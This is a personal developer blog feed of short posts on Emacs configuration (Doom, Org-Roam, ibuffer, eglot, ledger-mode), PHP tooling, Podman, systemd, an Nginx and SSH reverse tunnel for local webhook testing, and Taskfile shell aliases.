I just started to get benefits of this mode but it’s already surprising how well it works:

it works in various prog modes
it works in org mode
it even works in markdown files

It doesn’t seem to work in html files I tried it with or modes that use html (e.g. vuejs or laravel blade files).
It definitely not an issue for me so I’m going to continue using it and I suggest you to try it out.

sandbox.smtp.mailtrap.io port 25 isn't available anymore

Tue, 12 Dec 2023 00:00:00 +0000

I can’t connect to port 25 anymore. I noticed it in a Laravel application but the issue exists for everyone.

nc -vvv sandbox.smtp.mailtrap.io 25

just doesn’t connect.

It’s been an issue for a few weeks now.

To fix it just change the port 25 to 2525 (this one doesn’t require TLS).

Composer install - ignore php version constrains

Mon, 11 Dec 2023 00:00:00 +0000

Solution

Just run this:

composer install --ignore-platform-req=php

Issue

I often have an issue when after upgrading PHP to a newer versions I can’t do composer install anymore because one or more libraries haven’t updated their require.php section to support newer version of the language.

Moreover, even if you manage to install new versions of those libs you still may have other projects on your machine that require older version of php (my case).

I also prefer to have programming languages installed on my machine directly without any docker stuff that would potentially solve this issue. Also I’m not aware of any solutions like NVM or RVM for PHP.

[Found this info in this post](https://php.watch/articles/composer-ignore-platform-req). Check it out for some more tips.

Emacs: Did you know about IBuffer?

Wed, 15 Nov 2023 00:00:00 +0000

The problem

Sometimes I use C-x C-b to get list of buffers so I can clean it up a little after some time. To do it I mark some buffers with d (to delete) and then press x.

Today I wanted to filter that list of buffers to a particular project/folder and turned out I can’t.
There is no way to filter *Buffer List*.

IBuffer

If you look up for Buffer Menu in EmacsWiki you’ll find the Enhancements section which mentions IBufferMode which is built-in since Emacs 22.

This mode is literally Buffer Menu on steroids. Looks pretty much the same so from UI perspective you’ll see no changes (almost).

To filter buffers by directory just type / F and enter the project/folder name. The only thing left is C-x h d x to mark all buffers and delete them.
To remove all the applied filters just do / /.

The number of filtering commands available by default is great.
You can find them by C-h m (describe-mode) and then look for “Filtering commands” section. Go through other sections as well to get more familiar with ibuffer capabilities.

Doom & Spacemacs

If you’re Doom user you probably already enjoying this mode since it’s enabled by default.
In Spacemacs you can enable it by turning on ibuffer layer.

Both of these config distributions remap standard C-x C-b to call ibuffer and I suggest you do the same if you use custom config like me.

Emacs find-grep-dired: Filter files based on content

Tue, 17 Oct 2023 00:00:00 +0000

Intro

We all need to search in files sometimes, right?

I usually do it using grep -ri 'search term' . in the terminal (often in vterm-mode) and then I either open the file(s) in Emacs or in any other program.

But Emacs has better solution to it.

find-grep-dired

There is M-x find-grep-dired already built-in to Emacs. If you call it from Dired buffer it will auto-complete the current folder and then you just need to enter the search term.

Cool thing is that result of this function is just filtered Dired buffer which means you can perform regular Dired operations on the found files (delete them, move to another folder, etc).
This especially come in handy if you have (setq dired-dwim-target t) and another Dired buffer opened in split so you can quickly move files between splits (Far/Total Commander style).

Configuration

M-x find-grep-dired is as quick as grep is.
According to this function’s help page you can change grep-program variable if you want to use rg, ag or whatever…
CAUTION: It’s pretty possible grep-program may be used by other Emacs functions that may expect grep-specific output.

Weechat is a lightweight IRC client

Wed, 31 May 2023 00:00:00 +0000

This is more of a joke post.

Weechat is lightweight

Weechat is incredible, terminal based IRC client, that I wanted to install recently on my FreeBSD instance.

It’s lightweight.

Here is log from my pkg install weechat:

[user@server]# pkg install weechat
Updating FreeBSD repository catalogue...
FreeBSD repository is up to date.
All repositories are up to date.
The following 18 package(s) will be affected (of 0 checked):

New packages to be INSTALLED:
 aspell: 0.60.8_1,1
 glib: 2.72.2,2
 gmp: 6.2.1
 gnutls: 3.7.6
 libedit: 3.1.20210910,1
 libiconv: 1.16
 liblz4: 1.9.3,1
 libtasn1: 4.18.0
 libunwind: 20211201_1
 lua52: 5.2.4
 nettle: 3.8
 p11-kit: 0.24.1_1
 pcre: 8.45_1
 perl5: 5.32.1_1
 ruby: 3.0.4_2,1
 tcl86: 8.6.12
 weechat: 3.5_2
 zstd: 1.5.2

Number of packages to be installed: 18

The process will require 219 MiB more space.
40 MiB to be downloaded.

Proceed with this action? [y/N]:

219 MiB - isn’t it funny? I think it is.
Slack *.dmg file for MacOS takes 168 MiB.

Seriously

Weechat itself is just 26 MiB. It also really is lightweight and feels fast. The number of extension is just countless. Number of color themes and layouts is huge too.

The 219 MiB comes from dependencies and you can see there are few programming languages are going to be installed:

perl
lua
ruby
tcl

These are not direct dependencies of weechat. It’s just weechat’s extension system allows you to use many programming languages to write extensions.

Emacs has built-in thread macros

Sun, 28 May 2023 00:00:00 +0000

Intro

Surprisingly for me I just discovered that Emacs Lisp has equivalent of Clojure’s -> and ->> macros.

And I’m not talking about dash.el. I’m talking about built-in thread-first and thread-last.

What are these

If you’re not familiar with these beautiful macros, the main goal is to pipe a value through multiple functions and return the result.

-> passes a value as first argument of next function, then takes the result and passes it as first argument to next function, etc.
->> does the same except that it passes the result as next function’s last argument

Example

Instead of having this:

(+ (- (/ (+ 5 20) 25)) 40)

we can have this:

(->
 5
 (+ 20)
 (/ 25)
 -
 (+ 40))

It’s way easier to modify and which is even more important - to read.

Emacs lisp equivalent

There is dash.el library that provides us with similar macros (and many more) but emacs has built-in thread-first and thread-last.

(thread-first
 5
 (+ 20)
 (/ 25)
 -
 (+ 40))

will work for you if you’re on Emacs 25 or newer.

I don’t write much elisp but every time I do I feel like I miss those ->/->>.

Not anymore!

Emacs: A few issues of Org-Roam

Thu, 25 May 2023 00:00:00 +0000

Intro

It has been almost a year since I started to use Org-Roam. I initially migrated from Obsidian even though I was incredibly happy with it.

Recently I started to take more notes than usual and noticed that Org-Roam has some issues that for me aren’t critical but disturbing.

Issues

No build-in search functionality

There is just no something like M-x org-roam-search.

I’m pretty sure there is no such thing because it’s Emacs and you can search any directory you want very quickly using built-in grep, rgrep or other tools like that. And of course you can make a function off of that and then bind it to a key chord you like.

But having such function already there will not force Org-Roam users to add more lines to their config.

org-roam-node-insert - don’t understand a word at point

org-roam-node-insert is very useful. Is how you link notes together.

At the moment when note is typed I usually quickly review it and then connect it to other notes. In such a case I move my cursor to a word that I’m going to use as a link and type that command.

The minibuffer starts listing all the notes but the “linking word” my cursor is at isn’t used.

There is no such issue in case you mark a word and then call M-x org-roam-node-insert.

Again, since it’s Emacs it should be quite easy to fix.

It would be nice to have it default though. I can’t find arguments against it.

Note creation date

Yes, it is in a file name BUT

if you use grep or even something like consult-grep for searching in your notes you will not be able to filter your results by a date.

It probably can be fixed with org roam templates.

Note IDs

I was able to find many complains about it.

For me it’s not that serious in terms of fear that my notes and links may stop working if I loose the roam db (the db is just a cache) or roam is not supported anymore (org files are text).

The main issue for me here is that I can’t understand the links if I open my notes in an editor that doesn’t have Org Mode. It sometimes happens. It happens on my Android. It happens on my Windows machine that I barely use and I don’t even need Emacs there.

In such a case I see the link with an ID and description of that link which sometimes doesn’t exactly match a note file name.

If org format is pure text and intended to be human readable, it’s probably should stay this way.

Conclusion

It should be understood that Org-Roam is open source and community driven. It definitely can be improved as, probably, any software.

The only person I can blame for not implementing those functionalities I mentioned is me. The project is opened for everyone to contribute (including me) so I hope I can fix those things somehow.

Org-mode archive with inherited tags

Fri, 19 May 2023 00:00:00 +0000

The issue

By default only the tags directly attached to an org record will be saved in the archive file. I want to keep all the tags attached to an org record when I archive it, even the inherited ones.

Explanation

In org-mode tags are inherited by default. In case of org tree like this:

* Header1 :tag1:
** Sub Header1 :subtag1:

you may find that Sub Header1 has :tag1:subtag1: tags attached to it.

This is something reflected in Agenda view. Also if you try to find headers with :tag1:
the Sub Header1 will be one of those even though we didn’t directly attach that tag to it. That’s the tag inheritance.

If you try to archive Sub Header1 you will get this kind of record in the *_archive.org file:

* Sub Header1 :subtag1: <--- this is the tag
 :PROPERTIES:
 :ARCHIVE_TIME: <date>
 :ARCHIVE_FILE: <original org file>
 :ARCHIVE_OLPATH: <org path>
 :ARCHIVE_CATEGORY: <org file category>
 :ARCHIVE_ITAGS: tag1 <--- this is the inherited tags
 :END:

As you can see the tag1 is missing in the heading. It is available in the ARCHIVE_ITAGS though. For me it would be much better if I can see all the tags immediately in the record heading. It will also allow me to filter my archived records by those tags.

Solution

(setq org-archive-subtree-add-inherited-tags t)

It’s as easy as that. Now the archived heading will look like this:

* Sub Header1 :tag1:subtag1:

which is exactly what I wanted.

Doom Emacs Search Documentation

Sat, 13 May 2023 00:00:00 +0000

Just a quick note on how easy it is to actually navigate Doom Emacs documentation and modules.

I initially was a little afraid that I will not be able to understand what each Doom module does and there always will be some hidden functionaltiy that will be hard for me to find.

Fortunately there is M-x M-x doom/help-search-headings that allows me to search through Doom documentation. Specifically it allows me to search through org headings of the documentation.

I can easily find a module I’m interested in, let’s say lsp. Then I’ll go there and I can see all the documentation of the module. I can see what packages will be installed and what configuration options available for the module (e.g. +eglot for lsp). Being in the README.org of a module I can also open config.el which is in the same directory and I’ll be able to inspect all the Elisp that module will add into my Emacs.

If you’d like to search not just headings but everything then M-x doom/help-search is your friend.

I start to like Doom more and more every day.

Doom Emacs - Turn LSP off by default for PHP files

Tue, 09 May 2023 00:00:00 +0000

I’m trying to get used to Doom Emacs and one issue I have is that LSP (in my case Eglot) starts automatically when I open up a php project.

I don’t really like it because sometimes I open php files that I don’t need autocompletion for and I don’t want to remember that there is Eglot process now running that I have to stop to save some resources of my laptop.

It happens because I have defined php module in init.el as (php +lsp). The reason I have it defined like this is because I need LSP. I just don’t want to start it automatically every time I open a php file.

I like how easy it is in Doom to inspect the module implementation so I went to Doom’s modules/lang/php/config.el and I found that there is no flag that can force LSP to not start automatically.

What it has though is this line:

(add-hook 'php-mode-local-vars-hook #'lsp! 'append)

It looks to me like something that starts the LSP automatically. It looks like this mostly because everything else looks pretty much unrelated to LSP.

Since there is no flag, let’s solve it in our own config by directly removing that lsp! piece from that variable:

(after! php-mode
 (remove-hook 'php-mode-local-vars-hook #'lsp!))

This will remove that lsp! piece from php-mode-local-vars-hook and now LSP won’t start automatically.

It would make sense probably to add such a flag so users can easily turn off the auto-LSP but at the same time solution to this is just one line so maybe it wouldn’t make sense to add it.

Trying Doom once again

Mon, 08 May 2023 00:00:00 +0000

Almost a year ago I already tried to start using Doom config which I eventually replaced with my own vanilla config.

Today I decided to try it once again. I also wanted to use it in Evil mode to make my hands feel better.

One of my main pain point with someone else’s config is that I don’t know how to handle it, what options are available and why things work in the way they do.

Since I was on my own config for quite some time I believe I know enough about Emacs configuration to attempt Doom config once again.

First impression

Well, it’s not first. If I’m not mistaken it’s my third or fourth attempt to use Doom.

So far it feels ok. I ported some configuration from my vanilla config. Added packages I need and things seems working smoothly.

It’s interesting to see that Doom preferably switched to project mode instead of projectile at least this is what I see based on keybindings that are set for project mode and no keybindings at all for projectile.

My custom org agendas and some other custom functions were ported with just simple copy-paste technique.

What I like

It’s really great to see the M-x doom/help exists. Everything is documented or at least most of the things.
There is also M-x doom/help-search which is very useful when you need to find a specific help.
- The documentation can be improved probably. There is no info about how to change evil escape sequence to something different from default. At least the doom/help-search mentions the evil-escape package which user then can google and find how to change that escape sequence.
I love doom modules. Community has already spent good amount of time tweaking every module and in most of the cases I don’t need to do much to reconfigure it.
LSP module is nice and works with Eglot. What’s great is that other modules (like PHP for example) already aware that LSP module can use Eglot and when I open a php file my Eglot just starts and works.
Evil mode and all keybindings that already configured are incredible.
General look and feel is way better than I could achieve with my vanilla config.
Org looks great and evil keybindings are very nice configured.
I like the way configuration works and some useful macros provided by Doom

What I need to understand/change

Documentation is sometimes lacking. That’s hopefully something I can help with.
I don’t like that LSP/Eglot starts automatically. I do believe “start automatically by default” is a good choice though.
There are no projectile keybindings and there is no my favorite projectile-run-vterm. Easy fix though.
I don’t really understand a point of +vterm/toggle. It works great in one project but when I open a second one then this function still opens up the vterm that belongs to that first project.
doom/reload-theme - probably doesn’t work on my end. When I set doom-theme variable to something else/non-default and then call M-x doom/reload-theme nothing changes. I have to use M-x consult-theme to actually change a theme.
I still need to figure out how to use after!. I initially thought that this macro’s first argument is something that is mentioned in init.el -> doom! call but apparently I should specify an emacs package name there.

Conclusion

In general, I love the feeling. It took me almost no time to get used to vim keybindings and keep coding like nothing’s changed. Probably my vim past is already too deep in my muscle memory. I’m glad my emacs past is also quite deep so I feel like I can seamlessly switch from one way of editing to another.

Org Agenda - show archived records by default

Thu, 13 Apr 2023 00:00:00 +0000

If you didn’t know, there are two methods of archiving subtrees in Emacs’ Org-mode.

Internal archiving (mark an item as ARCHIVED but keep it in the file)
Moving subtrees (move an item or subtree to *_archive.org file)

I often use the latter but the issue here is that all my items got disappeared from Org Agenda view when archived.

You can tell Org Agenda to show archived records by pressing v A in *Org Agenda* buffer. Notice upper-cased A. If you use lowercase a then only internally archived records will be shown.

What v A does is it calling (org-agenda-archives-mode 'files) which internally sets org-agenda-archives-mode variable to t.

This is what we can do in our init.el:

(setq org-agenda-archives-mode t)

Done!

Emacs & Wgrep

Tue, 11 Apr 2023 00:00:00 +0000

So I just discovered wgrep mode of a grep buffer in Emacs and it’s incredible.

I often use projectile-ripgrep if I need to find something in the project I’m working on. But if I wanted to rename some variables or strings that I grepped I had to go and manually update them or use something like projectile-replace.

But turns out there is wgrep mode that is available from projectile-ripgrep (*rg*) buffer or from *grep* buffer.

In case of you ripgrep you just press letter e and now you can edit anything you want. Then you press C-x C-s and now all the changes are made. Amazing.

Here is an example. Let’s try to find and replace projectile- string in this blog:

Here is what was found (image is clickable)

now I press e and I can edit the buffer. It says this in the message area:

Now I changed few occurrences of the projectile- to project- and pressed C-x C-s and now those two files are edited without me even visiting them.

You can save all unsaved buffers with C-x s

Incredible discovery. I’m going to use it all the time now.

I’m not sure though what kind of feature is this. It’s not a package that I had to install. It’s just there and it works.

Emacs 29 - Straight.el & Native compilation

Sun, 09 Apr 2023 00:00:00 +0000

I just built emacs-plus@29 on my MacOS using --with-native-comp just to see what it is and how it works.

I’ll talk about my impression of it later. Let’s start with the issue.

I use straight.el + use-package and as soon as I started my new Emacs instance I’ve got this:

Debugger entered--Lisp error: (void-variable native-comp-deferred-compilation-deny-list)
straight--build-native-compile((:type git :host github :repo "radian-software/straight.el" :files ("straight*.el") :branch "master" :package "straight" :local-repo "straight.el"))
straight--build-package((:type git :host github :repo "radian-software/straight.el" :files ("straight*.el") :branch "master" :package "straight" :local-repo "straight.el") nil)
#f(compiled-function () #<bytecode 0x13b193a2e77f4e46>)()
straight--transaction-exec(use-package-\"c809124e9c5270ea1c72e2c3507331d1\"-nil-nil :now #f(compiled-function () #<bytecode 0x13b193a2e77f4e46>))
straight-use-package((straight :type git :host github :repo "radian-software/straight.el" :files ("straight*.el") :branch "master"))
load-with-code-conversion("/Users/krydos/.emacs.d/straight/repos/straight.el/..." "/Users/krydos/.emacs.d/straight/repos/straight.el/..." nil t)
load("/Users/krydos/.emacs.d/straight/repos/straight.el/..." nil nomessage)
(let ((bootstrap-file (expand-file-name "straight/repos/straight.el/bootstrap.el" user-emacs-directory)) (bootstrap-version 6)) (if (file-exists-p bootstrap-file) nil (save-current-buffer (set-buffer (url-retrieve-synchronously "https://raw.githubusercontent.com/radian-software/..." 'silent 'inhibit-cookies)) (goto-char (point-max)) (eval-print-last-sexp))) (load bootstrap-file nil 'nomessage))
load-with-code-conversion("/Users/krydos/.emacs.d/init.el" "/Users/krydos/.emacs.d/init.el" t t)
load("/Users/krydos/.emacs.d/init" noerror nomessage)
startup--load-user-init-file(#f(compiled-function () #<bytecode 0x155c027c85bc7d>) #f(compiled-function () #<bytecode -0x1f3c61addc0da035>) t)
command-line()
normal-top-level()

It looks like for some reason straight.el expects native-comp-deferred-compilation-deny-list variable available in Emacs while this variable was renamed to native-comp-jit-compilation-deny-list.

Straight.el’s master branch doesn’t know about the rename but the develop branch does. So to switch straight.el to newer branch we can define straight-repository-branch somewhere on the top of our init.el like so:

(setq straight-repository-branch "develop")

I also removed my ~/.emacs.d/straight directory to make sure every other package will be pulled from scratch and there are no conflicts between my current version of Emacs and the older one (28).

Native compilation impression

I’m not sure about it. Since I use my own config and I don’t include that many packages everything was quite quick even without the --with-native-comp. With native compilation I don’t see the difference, maybe I’ll notice it later.

What I noticed is that when I first started my Emacs 29 the compilation process was running on the background (without indication) and the whole UI was sluggish. Switching buffers was slow, reaction to my keystrokes was delayed, etc. But in few minutes, I believe when everything was compiled, everything started to work as usual, no delays, no issues.

Search for hash(#) sign using Emacs' consult-grep

Mon, 03 Apr 2023 00:00:00 +0000

This is something I came across recently. I wanted to search for #todo using M-x consult-grep.

My initial #todo query didn’t work obviously because # sign in consult is a punctuation character as they call it.

I didn’t really want to change # sign as a punctuation character because I used to it. I’m not also sure if there is such an option (read til the end to find out why)

After some time spent googling I couldn’t find how to do escape it. Obvious things like #\#todo didn’t work.

Then I found this example in consult readme:

/defun/consult: It is also possible to use other punctuation characters.

This is not somewhere on the top of the readme. It’s under Asynchronous Search section which I ignored while I was looking for my use case.

So it seems like any NON [A-Za-z0-9] character can be a punctuation character. Though I’m not sure about it.

In any case /#todo worked nicely but it was unnecessary hard to find the proper syntax for it.

Emacs. Change inner/outer like in Vim

Tue, 17 Jan 2023 00:00:00 +0000

If you’re a former Vim user there is one feature I couldn’t find in any other editors.

Not sure what is the proper name of it but let’s call it change inside something.

Example (| - is a cursor):

function() {
 return 'hello |world'
}

If I press ci' the result is going to be:

function() {
 return '|'
}

or ci{:

function() {|}

That’s incredibly useful feature because I don’t really need to think where my cursor is. I just place it somewhere around the place I need to remove and press that magical keybinding.

There is no such built-in function in Emacs. And this one is probably the only feature I miss the most.

For some time I’ve been using expand-region by Magnar Sveen which is a different thing really. It just expands a selection by some logical semantic blocks and can be used as a replacement to that ci'. But still I need to think how many times I should call that expand-region function before the thing I need is selected.

So today I discovered change-inner.el by already mentioned Magnar Sveen. It uses expand-region internally and does exactly what ci<symbol> does.

Bindings suggested in the package readme, M-i / M-o, are pretty easy to used to.

So if you ever missed that change inner/outer Vim feature give this lib a shot.

Facebook webhooks won't accept Ngrok and Localtunnel anymore

Mon, 28 Nov 2022 00:00:00 +0000

If you want to test webhooks locally you probably use Ngrok or Localtunnel. I do.

Recently I wanted to play with Instagram webhooks and I couldn’t because surprisingly Facebook do not accept Ngrok and Localtunnel URLs anymore and marks them as malicious and/or abusive.

I don’t really understand why Facebook blocked the only known solutions of local webhooks testing.

Fortunately I have a server and a domain name.

Solution

What we’ll need:

Nginx
LetsEncrypt cert (because Facebook wants HTTPS URL)

As soon as you configured your Nginx and it can accept traffic on port 443 add location section like this (pay attention to all the slashes. They are important):

location /proxy/ {
 proxy_pass http://localhost:3000/;
}

This will grab all the traffic to you-domain/proxy/, decrypt it and proxy it to port 3000.

Now, on you local machine, run:

ssh -R 3000:0.0.0.0:3000 -N user@server

Change ports as needed. The very first 3000 is remote port to redirect traffic from. The 0.0.0.0:3000 part is your local server listening on port 3000 as well.

You local server will get URLs without that /proxy part. So your-domain/proxy/webhooks will be transformed to 0.0.0.0:3000/webhooks

Now the traffic goes like this:

Origin(https) -> your-domain(https) -> your-server:3000(http) -> your-local-machine:3000(http)

MacOS Appearance Auto - theme isn't changing

Fri, 28 Oct 2022 00:00:00 +0000

I recently started to appreciate light theme again. Feels great during a day light.
Still, I like the dark mode too but now I just want to see it at night.

And fortunately, for those who likes both themes, there is a mode called “Auto” in the MacOS settings.

Hooray! Problem solved.

Not really

In case you haven’t configured Night Shift feature then it’s not going to work.

Also, if you like me, and configured Night Shift to start “night” at 12AM then it means that the dark mode will be enabled at 12AM.

Auto mode requires Night Shift feature. Make sure it’s configured.

Fun solution from the internet

If you try to google this issue you’ll notice some reasonable points like:

You wouldn’t like to see the screen colors suddenly change when you are in the middle of work, would you? It would be confusing and irritating, and you would most probably disable auto Dark Mode once and for good
Source: geekupdated.com

And solution is:

All you have to remember is that the color theme is being switched when you put the display to sleep, even for a short period of time.

If you want to apply the Dark Mode immediately, simply close the lid of your Mac and open it again.
Source: geekupdated.com

This solution is “obviously” not that irritating as sudden color scheme change.

Eglot & PHP & Phpactor

Mon, 24 Oct 2022 00:00:00 +0000

Trying out eglot at the moment on a php project I have and unfortunately it doesn’t work out of the box.

The issue is that my PHP project is based on PHP8 and php-language-server is pretty old server that doesn’t support new php versions.

There are bunch of other LSPs for PHP and I would like to play with Phpactor which I never used before.

Fortunately eglot supports any LSP server and Phpactor has one too.

To make it work just add this to your init.el:

(add-to-list 'eglot-server-programs '((php-mode phps-mode) "phpactor" "language-server"))

Make sure phpactor is in your $PATH, otherwise just specify the full path.

Now you can just M-x eglot in any php file and it should magically start working.

Emacs ledger-mode with hledger

Thu, 13 Oct 2022 00:00:00 +0000

Hledger is a text based accounting tool. It’s very similar to Ledger (hence the name).

Emacs has great ledger-mode but if you use Hledger you’ll definitely get some issues.

TLDR

here is my use-package block where most of the issues are solved

(use-package ledger-mode
 :straight t ;; or :ensure t
 :init
 (add-to-list 'auto-mode-alist '("\\.\\(h?ledger\\|journal\\|j\\)$" . ledger-mode))
 (setq ledger-binary-path "path-to-fix-hledger-script.see-below")
 (setq ledger-mode-should-check-version nil)
 (setq ledger-report-links-in-register nil)
 (setq ledger-report-auto-width nil)
 (setq ledger-report-native-highlighting-arguments '("--color=always"))
 (setq ledger-highlight-xact-under-point nil)
 (setq ledger-default-date-format ledger-iso-date-format))

Add new transactions issue. xact.

There an error appears when you try to add a new transaction that says xact isn’t available. xact is a tool that comes with ledger but it doesn’t exists in hledger package.

The tool is basically trying to match records based on the query passed into it and then return the matched record. Kind of minimal autocompletion.

hledger has --match option instead and to make it work I suggest to refer to this script provided by Anthony Carrico.

Make it executable, put in whatever place you want and update ledger-binary-path variable in your Emacs config.

That should make everything work.

Vim Tabs in Emacs

Sat, 17 Sep 2022 00:00:00 +0000

Immediately few things to mention.

First: we’re going to talk about Tabs as in “UI element”. Not indentation.
Second: Tabs in Vim and Emacs are not supposed to be used as tabs in many other editors.

Vim Tabs

Vim tabs aren’t supposed to be tabs similar to other editors where you have a file per tab and then switch those tabs with your mouse (???!). There are buffers for that.

Vim tabs were designed to hold “workspaces” or logical group of files/buffers/splits, quickfix windows or other “vim ui” elements.

For instance you may be working on a project issue and you have your tests in one split and actual code in another. Maybe some docs in 3d one.

Now somebody in your company chat asks for a help and you as a nice person want to take a look.
You do :tabnew and new fresh “workspace” is opened. You then go to a file your colleague was asking for, view it, open one more split for tests or docs, vimgrep for stuff and it’s all happening in new fresh “workspace”. When you’re done you just do :tabclose and you’re back to you first main workspace with your 3 splits where everything is untouched which smooths context switching a lot.

Emacs Tabs

Switching to any editor from Vim I always felt missing Vim-like tabs functionality and I felt the same in Emacs too. Fortunately starting with Emacs27 we have few tab modes built-in and one of them is tab-bar-mode (default prefix C-x t)

Turns out I can use tab-bar-mode pretty similarly to vim tabs.

The only difference is in Vim when all but one tab is closed the tab-bar gets hidden. Emacs tab-bar dosn’t do it.

But fortunately it’s Emacs so add this advice to your init.el and now tab-bar gets hidden when there is only one tab left.

(advice-add 'tab-bar-close-tab
 :after
 (lambda (&rest r) (if (= 1 (length (tab-bar-tabs)))
 (tab-bar-mode -1)))
 '((name . "hide-tabbar-if-one-tab")))

In case you don’t like how Emacs tabs look or behave you can try https://depp.brause.cc/eyebrowse/ package that sounds the same to me but its “tabs” are shown in the modeline.

Its styles probably can be customized but with my theme and modeline there is no way to understand what “workspace” is currently active.
On the other hand tab-bar is also looking pretty bad (which is also customizable).

Ditching Doom

Sat, 04 Jun 2022 16:00:00 +0000

In my previous post I’ve been talking about Doom config and that it is great and all but I find it really difficult to fix issues there. Doom has a lot of its own configuration, hooks here and there and functions that modifies standard behavior.

It’s probably much easier to go with my own config. I never could stick to spacemacs or doom. I couldn’t stick to similar configs in Vim too. Probably issue on my end :)

Also Doom’s evil mode feels so verbose. It definitely feels more verbose than Vim itself. It feels like I have to press much more keys to tell emacs to do something.

At the moment I’m on my own config WITHOUT evil-mode and interesting to note, my muscle memory switched to Emacs-mode in ~30 minutes. I didn’t expect that. For most of the actions there is no a “thinking process”. They just happen. Last time I used Emacs was couple of years ago and I’m surprised it’s keybindings went that deep in my muscle memory.

Maybe, which is strange for me to admit, the keybinding design in Emacs is a feature…

Anyway here is some highlight of my config:

UI is standard-minimal. No toolbar, no scroll-bar, no bells. Automatically start maximized
MacOS’ CMD key is bound to meta
Trailing spaces are deleted with delete-trailing-whitespace on every buffer save
Indent with spaces by default
Vertico for vertical completion (like helm or ivy)
Consult for some nice functions like consult-imenu or consult-buffer
Orderless for fuzzy-like autocompletion
Projectile
Magit
Flycheck
Company
Vterm - possibly the greatest terminal emulation in Emacs I could fine
Prodigy - love this tool. Allows you to manage services running on your machine.
various lang modes

What’s pretty interesting and I couldn’t expect I’d like is a white color scheme.

All of those are working pretty well and if I need to override some of their behavior it usually something super simple, unlike Doom or Spacemacs where some functionality overridden by the “package” configuration that you gotta go and inspect and then find some hooks that also adds additional layer of configuration.

Screenshot (click to zoom):

Podman detach keys

Sat, 04 Jun 2022 15:30:00 +0000

TLDR;

Add detach-keys = "ctrl-@,ctrl-q" to [engine] section in ~/.config/containers/containers.conf file

Description

I recently switched to Podman and the only issue I faced is CTRL+P won’t work properly inside containers.

That’s exactly the same issue I had with Docker, described in my Docker detach keys post.

The solution from that post doesn’t work since it was purely docker-specific configuration file.

In case of Podman the configuration file is ~/.config/containers/containers.conf.

The line that must be added is detach_keys = "ctrl-@,ctrl-q" (feel free to choose any other sequence).

The line must be added under [engine] table.

When this is done ctrl-p is not going to be a keybinding that starts an escape sequence.

Getting back to Emacs

Sat, 14 May 2022 00:00:00 +0000

I do change my workflow from time to time to keep myself in shape.

Now, once again, I’m trying to switch back to Emacs. This time I decided to go with Doom. I already tried to install use it but it didn’t work well for me and I didn’t bother to change the configuration.

Main functionalities I need

Quick search in a project

That’s something I used ag for in my Vim. I could easily look for a word under the cursor everywhere in the project.

Projectile fortunately have something like this as well and I can search for word under cursor with SPC-*. The issue though is in PHP the word under cursor was including $ sign which is not want I wanted.

Fixed by excluding $ sign from part of a keyword

(after! php-mode
 (modify-syntax-entry ?$ "." php-mode-syntax-table))

Git interface

I usually use git in terminal to create a branch, for merging, branch switching. But I need a quick way to stage files and write commit messages.

Magit is definitely the suits my needs here.

Multiple cursors

Doom has multiple-cursors package. For some reason it doesn’t bind anything and I had to manually bind M-d to evil-multiedit-match-and-next

Tasks management / Notes

Well, in Vim I didn’t have any good tool for this. I usually switched to Obsidian to take notes.

With Emacs there is org-mode and that’s the primary reason why I’m even switching to Emacs right now.

Projects management

I used Vim with Tmux and every tmux session was created per project. Every session had windows for vim, terminal operations, background jobs.

In Doom we already have Projectile included. There are also workspaces.

These two packages are great for managing projects and buffers.

Issues that I still need to solve

php-mode is slow

That’s something I didn’t notice many years ago when I was using Emacs. Hard to tell if this is related to Evil mode enabled or some other Doom related configuration but when I try to evil-shift-right with more than 50 lines selected I have to wait some time for this action to happen.

magit is slow

Magit is pretty quick for small editings. But when I have, let’s say a merge conflict with a lot of files it takes 5-10 seconds for magit to open. It obviously depends on exact amount of files to show there but that’s pretty painful. Of course every other subsequent command is also slow.

company-mode doesn’t autocomplete

Company in my case didn’t want to autocomplete by default. The reason was that company backends chosen in doom don’t really work at least on my projects.

Moreover when I try to set company-backends variable to something I need and open a php file the variable updates automatically and company-capf with company-yasnippet is prepended to the list of backends.

Summary

Overall Doom experience is pretty nice. Configuration is hard sometimes because Doom sets some package variables, add hooks here and there and changes configuration of packages to some non-default behavior. It makes a bit more complex to setup a package/mode to something I need.

Maybe I should have chosen Doom in the first place because I already have some habits and needs that I want to have in my editor while Doom is probably good if you don’t have those habits or want to change them.

Use systemctl instead of service command

Fri, 22 Apr 2022 00:00:00 +0000

TLDR;

service is less functional wrapper around systemctl command on systemd based distros.

Details

I’m a long time Linux user and got a habit to start/stop things using service command.

I never really thought about what exactly it does. I mean, I know I can start Apache or something else with it and it’s something related to init system of my distro. Usually when you install Apache or PHP-FPM those things become recognizable by service command and you can call service program start when you want to start a service.

I never really needed to write my own init scripts so I successfully skipped any knowledge related to init systems of various distros I used.

Today I was reading Fedora Manual for Administrators and there are lot of stuff written about systemd and its insisted to use systemctl command. Why is that if service works too.

Let’s close this question.

Turned out systemctl is part of systemd package/program/init-system. And this is the tool to use when you want to interact with systemd.

service on the other hand is a script that allows you to start/stop other scripts defined in /etc/init.d folder which was used by other init-systems in the past.

Most systemd-based distros provide service command for backward compatibility. At first this command is going to look into /etc/init.d folder and if no service found there then it will try to use systemctl.

service command doesn’t support all possible arguments supported by systemctl.

So if you consciously decided to use systemd then you definitely should use systemctl because it is the command that allows you to interact with systemd services. service command behaves like proxy to systemctl. Of course it behaves like proxy only if you don’t use /etc/init.d for your daemons which you probably shouldn’t do on systemd based system.

Makefile -> Taskfile

Sat, 16 Apr 2022 00:00:00 +0000

Makefile

I add a Makefile to every project I work with. I don’t usually work on C/C++ projects or any other compiled languages but Makefile is good to make aliases for long commands.

Here is an example of short version of Makefile I use:


.PHONY: up
up:
	docker-compose up -d

.PHONY: logs
logs:
	tail -f ./storage/logs/*.log

There are set of aliases / mnemonics that I used to:

make up - start the project. May be docker-compose or set of commands to turn the project into “running” state
make down - stop everything make up did
make tags - generate tags
make logs - watch logs where ever they are

Since I work with multiple languages and frameworks, thanks to this approach, I don’t need to remember how to start a project, how to compile JS files, how to read logs, etc… All those commands are hidden under make targets.

On the other hand Makefiles aren’t designed for such use. make is super powerful tool and using it as an alias system just feels wrong.

Taskfile

Taskfile - is just a shell script where you can define functions to call.


function up {
 podman-compose up -d --build
}

function down {
 podman-compose down
}

function npm {
 podman run -it -v `pwd`:/app -w /app node:latest npm $@
}

function composer {
 podman-compose exec app composer $@
}

TIMEFORMAT="Task completed in %3lR"
time ${@:-default}

Place this file in your project root, make it executable and you can call those aliases with ./Taskfile up or ./Taskfile composer install.

To simplify this a bit add this line to you bashrc/zshrc:

alias run=./Taskfile

Now you can call all those commands as run up or run composer install. Pretty handy.

